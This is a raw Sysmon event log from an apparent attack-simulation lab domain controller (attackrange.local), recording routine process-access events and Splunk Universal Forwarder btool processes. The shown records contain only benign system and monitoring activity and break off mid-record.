09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004689Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-294C-5F80-F700-000000007F01}42362876C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-294C-5F80-F800-000000007F01}4588C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004688Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.263{A5F018FF-294C-5F80-F800-000000007F01}4588C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294C-5F80-F700-000000007F01}4236C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list kvstore --no-log 10341000x80000000000000004687Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294C-5F80-F700-000000007F01}4236C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004686Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004685Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.259{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004684Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004683Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004682Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004681Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004680Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004679Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004678Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294C-5F80-F700-000000007F01}4236C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004677Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004676Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-294C-5F80-F600-000000007F01}50322960C:\Windows\system32\cmd.exe{A5F018FF-294C-5F80-F700-000000007F01}4236C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004675Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.258{A5F018FF-294C-5F80-F700-000000007F01}4236C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list kvstore --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294C-5F80-F600-000000007F01}5032C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list kvstore --no-log 10341000x80000000000000004674Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294C-5F80-F600-000000007F01}5032C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004673Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004672Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004671Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004670Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004669Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004668Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004667Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004666Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004665Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004664Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294C-5F80-F600-000000007F01}5032C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004663Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:40.243{A5F018FF-294B-5F80-EF00-000000007F01}50964708C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE{A5F018FF-294C-5F80-F600-000000007F01}5032C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+6665|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+14ab4|C:\Program 